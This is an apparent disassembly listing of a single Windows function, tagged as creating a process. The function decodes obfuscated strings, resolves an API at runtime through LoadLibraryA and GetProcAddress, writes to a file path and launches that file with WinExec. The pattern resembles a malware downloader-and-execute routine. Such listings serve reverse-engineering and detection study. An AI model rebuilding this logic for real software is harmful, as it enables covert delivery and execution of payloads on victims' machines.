Function at 0x404170
Capabilities:
Create process on windows

Disassembly:
push ebx
push esi
push edi
push ebp
push eax
mov eax, 8
add esp, 0xfffff004
push eax
dec eax
jne 0x40417a
mov eax, dword [esp + 0x8000]
add esp, 0xfffffbf8
mov dword [esp + 4], edx
mov dword [esp], eax
lea ebp, [esp + 0x409]
mov byte [esp + 8], 0
mov eax, ebp
mov edx, 0x8000
call fcn.00402efc
push 0x40453c
push ebp
call sub.kernel32.dll_lstrcpyA_1
push 0x404564
lea eax, [ebp + 0x400]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x404578
lea eax, [ebp + 0x800]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x404588
lea eax, [ebp + 0xc00]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x4045a0
lea eax, [ebp + 0x1000]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x4045b4
lea eax, [ebp + 0x1400]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x4045d4
lea eax, [ebp + 0x1800]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x4045fc
lea eax, [ebp + 0x1c00]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x404618
lea eax, [ebp + 0x2000]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x404634
lea eax, [ebp + 0x2400]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x40464c
lea eax, [ebp + 0x2800]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x404670
lea eax, [ebp + 0x2c00]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x404680
lea eax, [ebp + 0x3000]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x4046a4
lea eax, [ebp + 0x3400]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x4046b8
lea eax, [ebp + 0x3800]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x4046cc
lea eax, [ebp + 0x3c00]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x4046dc
lea eax, [ebp + 0x4000]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x4046f0
lea eax, [ebp + 0x4400]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x404708
lea eax, [ebp + 0x4800]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x404728
lea eax, [ebp + 0x4c00]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x404738
lea eax, [ebp + 0x5000]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x404750
lea eax, [ebp + 0x5400]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x404768
lea eax, [ebp + 0x5800]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x404784
lea eax, [ebp + 0x5c00]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x4047a0
lea eax, [ebp + 0x6000]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x4047c0
lea eax, [ebp + 0x6400]
push eax
call sub.kernel32.dll_lstrcpyA_1
xor ebx, ebx
mov esi, 0x1a
mov edi, ebp
lea edx, [esp + 9]
mov eax, edi
mov ecx, 0x9e
call fcn.00402344
lea eax, [esp + 9]
push eax
push 0x406e20
call sub.kernel32.dll_lstrcmpiA_1
test eax, eax
jne 0x404394
mov bl, 1
jmp 0x40439d
add edi, 0x400
dec esi
jne 0x40436d
test bl, bl
je 0x40452a
mov ecx, 0x406b14
mov edx, 0x4047d0
mov eax, 0x4047d8
call fcn.00402c30
mov esi, eax
cmp esi, sub.kernel32.dll_GetStdHandle
jne 0x40452a
mov ecx, 0x406b14
mov edx, 0x4047e0
mov eax, 0x4047d8
call fcn.00402c30
mov esi, eax
cmp esi, dword [esp]
jb 0x40452a
mov ecx, 0x406b14
mov edx, 0x4047e8
mov eax, 0x4047d8
call fcn.00402c30
mov esi, eax
cmp esi, dword [esp + 4]
jb 0x40452a
mov eax, 0x406c18
call fcn.00402730
test al, al
je 0x40452a
lea eax, [esp + 9]
mov edx, 0x400
call fcn.00402efc
push 0x2d
push 0x22
lea edx, [esp + 0x11]
mov eax, 0x4050a0
mov ecx, 0xa
call fcn.0040241c
lea eax, [esp + 9]
push eax
call sub.kernel32.dll_LoadLibraryA
mov ebx, eax
test ebx, ebx
je 0x40452a
lea eax, [esp + 9]
mov edx, 0x400
call fcn.00402efc
push 0x6f
push 0x22
lea edx, [esp + 0x11]
mov eax, 0x4050ac
mov ecx, 0x12
call fcn.0040241c
lea eax, [esp + 9]
push eax
push ebx
call sub.kernel32.dll_GetProcAddress
mov ebx, eax
test ebx, ebx
je 0x40452a
lea eax, [esp + 9]
mov edx, 0x400
call fcn.00402efc
push 0xe0
push 0x22
lea edx, [esp + 0x11]
mov eax, 0x4050c0
mov ecx, 0x2b
call fcn.0040241c
push 0
push 0
push 0x406c18
lea eax, [esp + 0x15]
push eax
push 0
call ebx
test eax, eax
jne 0x40452a
push 0
push 0x406c18
call sub.kernel32.dll_WinExec_1
cmp eax, 0x20
jbe 0x40452a
push 0x406b14
mov ecx, 0x4047f0
mov edx, 0x4047d0
mov eax, 0x4047d8
call fcn.00402bbc
push 0x406b14
mov ecx, 0x4047f0
mov edx, 0x4047e0
mov eax, 0x4047d8
call fcn.00402bbc
push 0x406b14
mov ecx, 0x4047f0
mov edx, 0x4047e8
mov eax, 0x4047d8
call fcn.00402bbc
mov byte [esp + 8], 1
mov al, byte [esp + 8]
add esp, 0x840c
pop ebp
pop edi
pop esi
pop ebx
ret